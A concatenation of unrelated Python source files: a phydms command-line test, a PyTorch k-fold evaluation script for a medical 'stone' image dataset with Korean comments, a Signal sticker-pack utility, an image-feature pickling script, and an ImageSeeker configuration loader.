        return self.user_word.word


"""Runs ``phydms_comprehensive``

This test examines the entire functionality of ``phydms_comprehensive``
when run from the command line.

Written by Jesse Bloom and Sarah Hilton.
"""

import os
import unittest
import multiprocessing
import subprocess
import numpy
import pandas

class test_phydms_comprehensive(unittest.TestCase):
    """Tests command-line ``phydms_comprehensive``."""

    def test_NP(self):
        """Tests command-line ``phydms_comprehensive`` on NP data."""
        tree = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./NP_data/NP_tree_short.newick"))
        alignment = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./NP_data/NP_alignment_short.fasta"))
        prefs = os.path.abspath(os.path.join(os.path.dirname(__file__),
                                "./NP_data/NP_prefs_short.csv"))
        for f in [prefs, alignment]:
            self.assertTrue(os.path.isfile(f), "Can't find file {0}".format(f))
        outprefix = os.path.abspath(os.path.join(os.path.dirname(__file__),
                                    "./NP_test_results/"))
        if outprefix[-1] != "/":
            outprefix = "{0}/".format(outprefix)

        ncpus = min(20, multiprocessing.cpu_count())

        subprocess.check_call(["phydms_comprehensive", outprefix, alignment,
                               prefs, "--tree", tree, "--omegabysite",
                               "--brlen", "scale", "--ncpus", str(ncpus)])

        expectedresults = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./expected_NP_test_results/"))

        models = ["ExpCM_NP_prefs_short",
                  "averaged_ExpCM_NP_prefs_short",
                  "YNGKP_M0",
                  "YNGKP_M5"
                  ]

        for model in models:
            values = {}
            for (name, prefix) in [("expected", expectedresults),
                                   ("actual", outprefix)]:
                values[name] = {}
                for suffix in ["_loglikelihood.txt", "_modelparams.txt"]:
                    fname = os.path.abspath(os.path.join(prefix,
                                            "./{0}{1}".format(model, suffix)))
                    with open(fname) as f:
                        for line in f:
                            (x, y) = line.split("=")
                            values[name][x.strip()] = float(y)
            for param in values["actual"].keys():
                self.assertTrue(numpy.allclose(values["actual"][param],
                                               values["expected"][param],
                                               atol=1e-2,
                                               rtol=1e-5))

            omegas = {}
            for (name, prefix) in [("expected", expectedresults),
                                   ("actual", outprefix)]:
                fname = os.path.abspath(
                    os.path.join(prefix, "./{0}{1}"
                                 .format(model, "_omegabysite.txt")))
                omegas[name] = pandas.read_csv(fname, comment="#", sep="\t")
                omegas[name] = omegas[name].sort_values(by="site", axis=0)
            self.assertTrue(
                numpy.allclose(
                    omegas["actual"]["P"].values,
                    omegas["expected"]["P"].values,
                    atol=0.01,
                    rtol=0.03,))
            sigsites = (omegas["expected"]
                        [omegas["expected"]["P"] < 0.05]["site"].values)
            sigomegas = {}
            for (name, _df) in omegas.items():
                sigomegas[name] = (omegas[name][omegas[name]["site"]
                                   .isin(sigsites)]["omega"].values)
            self.assertTrue(
                ((sigomegas["actual"] > 1) == (sigomegas["expected"] > 1))
                .all())

if __name__ == "__main__":
    runner = unittest.TextTestRunner()
    unittest.main(testRunner=runner)


import os
import time
import argparse
import numpy as np
import pandas as pd
from tqdm import tqdm
from sklearn.metrics import roc_auc_score
import torch
from torch.utils.data import DataLoader
import torch.nn as nn
from dataset import get_dataframe, get_transforms, resamplingDataset
from models import Effnet_MMC, Resnest_MMC, Seresnext_MMC
from utils.util import *
from utils.torchsummary import summary

Precautions_msg = '(주의사항) Stone dataset의 경우 사람당 4장의 이미지기때문에 batch사이즈를 4의 배수로 해야 제대로 평가 된다.'

'''
- evaluate.py

학습한 모델을 평가하는 코드
Test셋이 아니라 학습때 살펴본 validation셋을 활용한다.
grad-cam 실행한다.

#### 실행법 ####
Terminal을 이용하는 경우 경로 설정 후 아래 코드를 직접 실행
python evaluate.py --kernel-type 5fold_b3_256_30ep --data-folder original_stone/ --enet-type tf_efficientnet_b3 --n-epochs 30

pycharm의 경우:
Run -> Edit Configuration -> evaluate.py 가 선택되었는지 확인
-> parameters 이동 후 아래를 입력 -> 적용하기 후 실행/디버깅
--kernel-type 5fold_b3_256_30ep --data-folder original_stone/ --enet-type tf_efficientnet_b3_ns --n-epochs 30 --k-fold 5

edited by MMCLab, 허종욱, 2020
'''

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--kernel-type', type=str, required=True)
    parser.add_argument('--data-dir', type=str, default='./data/')
    parser.add_argument('--data-folder', type=str, required=True)
    parser.add_argument('--image-size', type=int, required=True)
    parser.add_argument('--enet-type', type=str, required=True)
    parser.add_argument('--batch-size', type=int, default=4)
    parser.add_argument('--num-workers', type=int, default=32)
    parser.add_argument('--out-dim', type=int, default=2)
    parser.add_argument('--use-amp', action='store_true')
    parser.add_argument('--use-meta', action='store_true')
    parser.add_argument('--use-ext', action='store_true')
    parser.add_argument('--DEBUG', action='store_true')
    parser.add_argument('--model-dir', type=str, default='./weights')
    parser.add_argument('--log-dir', type=str, default='./logs')
    parser.add_argument('--oof-dir', type=str, default='./oofs')

    parser.add_argument('--k-fold', type=int, default=5)
    parser.add_argument('--eval', type=str, choices=['best', 'best_no_ext', 'final'], default="best")
    parser.add_argument('--CUDA_VISIBLE_DEVICES', type=str, default='0')
    parser.add_argument('--n-meta-dim', type=str, default='512,128')

    args, _ = parser.parse_known_args()
    return args

def val_epoch(model, loader, target_idx, is_ext=None, n_test=1, get_output=False):

    model.eval()
    val_loss = []
    LOGITS = []
    PROBS = []
    TARGETS = []
    with torch.no_grad():
        for (data, target) in tqdm(loader):

            if args.use_meta:
                data, meta = data
                data, meta, target = data.to(device), meta.to(device), target.to(device)
                logits = torch.zeros((data.shape[0], args.out_dim)).to(device)
                probs = torch.zeros((data.shape[0], args.out_dim)).to(device)
                for I in range(n_test):
                    l = model(get_trans(data, I), meta)
                    logits += l
                    probs += l.softmax(1)
            else:
                data, target = data.to(device), target.to(device)
                logits = torch.zeros((data.shape[0], args.out_dim)).to(device)
                probs = torch.zeros((data.shape[0], args.out_dim)).to(device)
                for I in range(n_test):
                    l = model(get_trans(data, I))
                    logits += l
                    probs += l.softmax(1)
            logits /= n_test
            probs /= n_test

            LOGITS.append(logits.detach().cpu())
            PROBS.append(probs.detach().cpu())
            TARGETS.append(target.detach().cpu())

            loss = criterion(logits, target)
            val_loss.append(loss.detach().cpu().numpy())

    val_loss = np.mean(val_loss)
    LOGITS = torch.cat(LOGITS).numpy()
    PROBS = torch.cat(PROBS).numpy()
    TARGETS = torch.cat(TARGETS).numpy()

    if get_output:
        return LOGITS, PROBS
    else:
        acc = (PROBS.argmax(1) == TARGETS).mean() * 100.
        auc = roc_auc_score((TARGETS == target_idx).astype(float), PROBS[:, target_idx])
        auc_no_ext = roc_auc_score((TARGETS[is_ext == 0] == target_idx).astype(float), PROBS[is_ext == 0, target_idx])
        return val_loss, acc, auc, auc_no_ext

def val_epoch_stonedata(model, loader, target_idx, is_ext=None, n_test=1, get_output=False):

    model.eval()
    val_loss = []
    LOGITS = []
    PROBS = []
    TARGETS = []

    with torch.no_grad(): # grad-cam 할때는 꺼야함
        for (data, target) in tqdm(loader):

            if args.use_meta:
                data, meta = data
                data, meta, target = data.to(device), meta.to(device), target.to(device)
                logits = torch.zeros((data.shape[0], args.out_dim)).to(device)
                probs = torch.zeros((data.shape[0], args.out_dim)).to(device)
                for I in range(n_test):
                    l = model(get_trans(data, I), meta)
                    logits += l
                    probs += l.softmax(1)
            else:
                data, target = data.to(device), target.to(device)
                logits = torch.zeros((data.shape[0], args.out_dim)).to(device)
                probs = torch.zeros((data.shape[0], args.out_dim)).to(device)
                for I in range(n_test):
                    l = model(get_trans(data, I))
                    logits += l
                    probs += l.softmax(1)
            logits /= n_test
            probs /= n_test

            # 4장 의료 데이터를 묶음으로 확률계산. 평균이용
            for b_i in range(int(data.shape[0] / 4)):
                b_i4 = b_i*4
                logits[0+b_i4:4+b_i4, 0] = torch.mean(logits[0+b_i4:4+b_i4, 0])
                logits[0+b_i4:4+b_i4, 1] = torch.mean(logits[0+b_i4:4+b_i4, 1])
                probs[0+b_i4:4+b_i4, 0] = torch.mean(probs[0+b_i4:4+b_i4, 0])
                probs[0+b_i4:4+b_i4, 1] = torch.mean(probs[0+b_i4:4+b_i4, 1])

            LOGITS.append(logits.detach().cpu())
            PROBS.append(probs.detach().cpu())
            TARGETS.append(target.detach().cpu())

            loss = criterion(logits, target)
            val_loss.append(loss.detach().cpu().numpy())

    val_loss = np.mean(val_loss)
    LOGITS = torch.cat(LOGITS).numpy()
    PROBS = torch.cat(PROBS).numpy()
    TARGETS = torch.cat(TARGETS).numpy()

    if get_output:
        return LOGITS, PROBS, TARGETS
    else:
        acc = (PROBS.argmax(1) == TARGETS).mean() * 100.
        auc = roc_auc_score((TARGETS == target_idx).astype(float), PROBS[:, target_idx])
        auc_no_ext = roc_auc_score((TARGETS[is_ext == 0] == target_idx).astype(float), PROBS[is_ext == 0, target_idx])
        return val_loss, acc, auc, auc_no_ext

def main():

    '''
    ####################################################
    # stone data 데이터셋 : dataset.get_df_stone
    ####################################################
    '''
    df_train, df_test, meta_features, n_meta_features, target_idx = get_dataframe(
        k_fold = args.k_fold,
        out_dim = args.out_dim,
        data_dir = args.data_dir,
        data_folder = args.data_folder,
        use_meta = args.use_meta,
        use_ext = args.use_ext
    )

    transforms_train, transforms_val = get_transforms(args.image_size)

    LOGITS = []
    PROBS = []
    TARGETS = []
    dfs = []

    folds = range(args.k_fold)
    for fold in folds:
        print(f'Evaluate data fold{str(fold)}')
        df_valid = df_train[df_train['fold'] == fold]

        # batch_normalization에서 배치 사이즈 1인 경우 에러 발생할 수 있으므로, 데이터 한개 버림
        if len(df_valid) % args.batch_size == 1:
            df_valid = df_valid.sample(len(df_valid)-1)

        if args.DEBUG:
            df_valid = pd.concat([
                df_valid[df_valid['target'] == target_idx].sample(args.batch_size * 3),
                df_valid[df_valid['target'] != target_idx].sample(args.batch_size * 3)
            ])

        dataset_valid = resamplingDataset(df_valid, 'valid', meta_features, transform=transforms_val)
        valid_loader = torch.utils.data.DataLoader(dataset_valid, batch_size=args.batch_size, num_workers=args.num_workers)

        if args.eval == 'best':
            model_file = os.path.join(args.model_dir, f'{args.kernel_type}_best_fold{fold}.pth')
        elif args.eval == 'best_no_ext':
            model_file = os.path.join(args.model_dir, f'{args.kernel_type}_best_no_ext_fold{fold}.pth')
        if args.eval == 'final':
            model_file = os.path.join(args.model_dir, f'{args.kernel_type}_final_fold{fold}.pth')

        model = ModelClass(
            args.enet_type,
            n_meta_features=n_meta_features,
            n_meta_dim=[int(nd) for nd in args.n_meta_dim.split(',')],
            out_dim=args.out_dim
        )
        model = model.to(device)

        # model summary
        if args.use_meta:
            pass
            # 코드 확인이 필요함
            # summary(model, [(3, args.image_size, args.image_size), n_meta_features])
        else:
            if fold == 0: # 한번만
                summary(model, (3, args.image_size, args.image_size))

        try:  # single GPU model_file
            model.load_state_dict(torch.load(model_file), strict=True)
        except:  # multi GPU model_file
            state_dict = torch.load(model_file)
            state_dict = {k[7:] if k.startswith('module.') else k: state_dict[k] for k in state_dict.keys()}
            model.load_state_dict(state_dict, strict=True)

        if len(os.environ['CUDA_VISIBLE_DEVICES']) > 1:
            model = torch.nn.DataParallel(model)

        model.eval()

        '''
        ####################################################
        # stone data를 위한 평가함수 : val_epoch_stonedata
        ####################################################
        '''
        this_LOGITS, this_PROBS, this_TARGETS = val_epoch_stonedata(model, valid_loader, target_idx, is_ext=df_valid['is_ext'].values, n_test=8, get_output=True)
        LOGITS.append(this_LOGITS)
        PROBS.append(this_PROBS)
        TARGETS.append(this_TARGETS)
        dfs.append(df_valid)

    dfs = pd.concat(dfs).reset_index(drop=True)
    dfs['pred'] = np.concatenate(PROBS).squeeze()[:, target_idx]

    Accuracy = (round(dfs['pred'])== dfs['target']).mean() * 100.
    auc_all_raw = roc_auc_score(dfs['target'] == target_idx, dfs['pred'])

    dfs2 = dfs.copy()
    for i in folds:
        dfs2.loc[dfs2['fold'] == i, 'pred'] = dfs2.loc[dfs2['fold'] == i, 'pred'].rank(pct=True)
    auc_all_rank = roc_auc_score(dfs2['target'] == target_idx, dfs2['pred'])

    if args.use_ext:
        # 외부데이터를 사용할 경우, 외부데이터를 제외하고 모델을 따로 평가해본다.
        dfs3 = dfs[dfs.is_ext == 0].copy().reset_index(drop=True)
        auc_no_ext_raw = roc_auc_score(dfs3['target'] == target_idx, dfs3['pred'])

        for i in folds:
            dfs3.loc[dfs3['fold'] == i, 'pred'] = dfs3.loc[dfs3['fold'] == i, 'pred'].rank(pct=True)
        auc_no_ext_rank = roc_auc_score(dfs3['target'] == target_idx, dfs3['pred'])

        content = time.ctime() + ' ' + f'Eval {args.eval}:\nAccuracy : {Accuracy:.5f}\n' \
                                       f'auc_all_raw : {auc_all_raw:.5f}\nauc_all_rank : {auc_all_rank:.5f}\n' \
                                       f'auc_no_ext_raw : {auc_no_ext_raw:.5f}\nauc_no_ext_rank : {auc_no_ext_rank:.5f}\n'
    else:
        content = time.ctime() + ' ' + f'Eval {args.eval}:\nAccuracy : {Accuracy:.5f}\n' \
                  f'AUC_all_raw : {auc_all_raw:.5f}\nAUC_all_rank : {auc_all_rank:.5f}\n'

    # 로그파일 맨 뒤에 결과 추가해줌
    print(content)
    with open(os.path.join(args.log_dir, f'log_{args.kernel_type}.txt'), 'a') as appender:
        appender.write(content + '\n')

    np.save(os.path.join(args.oof_dir, f'{args.kernel_type}_{args.eval}_oof.npy'), dfs['pred'].values)

    # 결과 csv 저장
    dfs[['filepath', 'patient_id', 'target', 'pred']].to_csv(os.path.join(args.oof_dir, f'{args.kernel_type}_{args.eval}_oof.csv'), index=True)

if __name__ == '__main__':

    print('----------------------------')
    print(Precautions_msg)
    print('----------------------------')
    args = parse_args()
    os.makedirs(args.oof_dir, exist_ok=True)
    if args.use_gradcam:
        os.makedirs(os.path.join(args.gradcam_dir, args.kernel_type), exist_ok=True)
    os.environ['CUDA_VISIBLE_DEVICES'] = args.CUDA_VISIBLE_DEVICES

    if args.enet_type == 'resnest101':
        ModelClass = Resnest_MMC
    elif args.enet_type == 'seresnext101':
        ModelClass = Seresnext_MMC
    elif 'efficientnet' in args.enet_type:
        ModelClass = Effnet_MMC
    else:
        raise NotImplementedError()

    DP = len(os.environ['CUDA_VISIBLE_DEVICES']) > 1

    device = torch.device('cuda')
    criterion = nn.CrossEntropyLoss()

    main()


from datetime import date, timedelta
from urllib.parse import urlparse

import anyio
from django.core.exceptions import ValidationError
from signalstickers_client import StickersClient

def get_current_ym_date():
    return date.today().strftime("%Y_%m")

def get_last_month_ym_date():
    return (date.today().replace(day=1) - timedelta(days=1)).strftime("%Y_%m")

def get_pack_from_signal(pack_id, pack_key):  # pragma: no cover
    """
    Simple async -> sync wrapper around StickersClient.
    """

    async def _get_pack(pack_id, pack_key):
        async with StickersClient() as client:
            pack = await client.get_pack(pack_id, pack_key)
        return pack

    try:
        return anyio.run(_get_pack, pack_id, pack_key)
    except:  # pylint: disable=bare-except
        return None

def detect_animated_pack(lib_pack):
    """
    Take a pack from signalstickers_client and return a boolean describing if
    the pack is animated or not. A pack will be animated if at least one of its
    stickers is a APNG or a GIF.
    Will raise a `ValidationError` if the pack format is invalid.
    """

    for sticker in lib_pack.stickers:
        if b"\x61\x63\x54\x4C" in sticker.image_data:  # APNG acTL chunk
            return True
        if sticker.image_data.startswith(
            b"\x47\x49\x46\x38\x39\x61"
        ):  # GIF89a magic numbers
            return True
        if (
            b"\x41\x4e\x49\x4d" in sticker.image_data  # ANIM chunck
            and b"\x57\x45\x42\x50" in sticker.image_data  # WEBP
        ):
            # Animated WebP: invalid.
            raise ValidationError(
                "Animated WebP are invalid; this pack can not be added."
            )
    return False

def is_url(str_in):
    try:
        result = urlparse(str_in)
        return all([result.scheme, result.netloc])
    except:  # pylint: disable=bare-except
        return False


import tqdm
from env import BottomUpImageFeatures, MeanPooledImageFeatures
import pickle

detections = 20

mean_pooled_featuers = MeanPooledImageFeatures(["imagenet"])
bottom_up_features = BottomUpImageFeatures(detections)

keys = list(mean_pooled_featuers.features.keys())
missing_keys = set()
by_key = {}

for key in tqdm.tqdm(keys):
    scene, viewpoint = key.split('_')
    try:
        by_key[(scene, viewpoint)] = [nt._asdict() for nt in bottom_up_features._get_viewpoint_features(scene, viewpoint)]
    except Exception as e:
        print(e)
        print(scene, viewpoint)
        missing_keys.add((scene, viewpoint))

with open('img_features/bottom_up_10_100_d={}.pkl'.format(detections), 'wb') as f:
    pickle.dump(by_key, f)


import os
import sys
import warnings

from ImageSeeker.utils import models_config as mc
import json

"""Public ImageSeeker utilities.
This module is used as a shortcut to access all the symbols. Those symbols was
exposed under train engine and predict engine.
"""

with open('config.json','r') as f:
      params = json.load(f)

#Data config
TRAIN_DATA_DIR = params['TRAIN_DATA_DIR']
print(TRAIN_DATA_DIR)
VALID_DATA_DIR = params['VALID_DATA_DIR']
CLASSES = params['CLASSES']
SIZE = params['IMAGE_SIZE'].split(',')
h = int(SIZE[0])
w = int(SIZE[1])
c = int(SIZE[2])
IMAGE_SIZE = h,w,c
AUGMENTATION = params['AUGMENTATION']
BATCH_SIZE = params['BATCH_SIZE']

# Model config
MODEL_OBJ = params['MODEL_OBJ']
print("I am Model obj", MODEL_OBJ)
MODEL_OBJ = mc.return_model(MODEL_OBJ)
MODEL_NAME = params['MODEL_NAME']
EPOCHS = params['EPOCHS']
OPTIMIZER = params['OPTIMIZER']
LOSS_FUNC = params['LOSS_FUNC']
FREEZE_ALL = params['FREEZE_ALL']

def configureData(TRAIN_DATA_DIR = TRAIN_DATA_DIR, VALID_DATA_DIR = VALID_DATA_DIR, AUGMENTATION = AUGMENTATION, CLASSES = CLASSES, IMAGE_SIZE = IMAGE_SIZE, BATCH_SIZE = BATCH_SIZE):
    CONFIG = {
        'TRAIN_DATA_DIR' : TRAIN_DATA_DIR,
        'VALID_DATA_DIR' : VALID_DATA_DIR,
        'AUGMENTATION': AUGMENTATION,
        'CLASSES' : CLASSES,
        'IMAGE_SIZE' : IMAGE_SIZE,
        'BATCH_SIZE' : BATCH_SIZE,
    }

    return CONFIG

def configureModel(MODEL_OBJ = MODEL_OBJ, MODEL_NAME=MODEL_NAME, EPOCHS = EPOCHS, FREEZE_ALL= FREEZE_ALL , OPTIMIZER=OPTIMIZER, LOSS_FUNC=LOSS_FUNC):
    CONFIG = {
        'MODEL_OBJ' : MODEL_OBJ,
        'MODEL_NAME' : MODEL_NAME,
        'EPOCHS' : EPOCHS,
        'FREEZE_ALL' : FREEZE_ALL,
        'OPTIMIZER': OPTIMIZER,
        'LOSS_FUNC' : LOSS_FUNC,
    }

    return CONFIG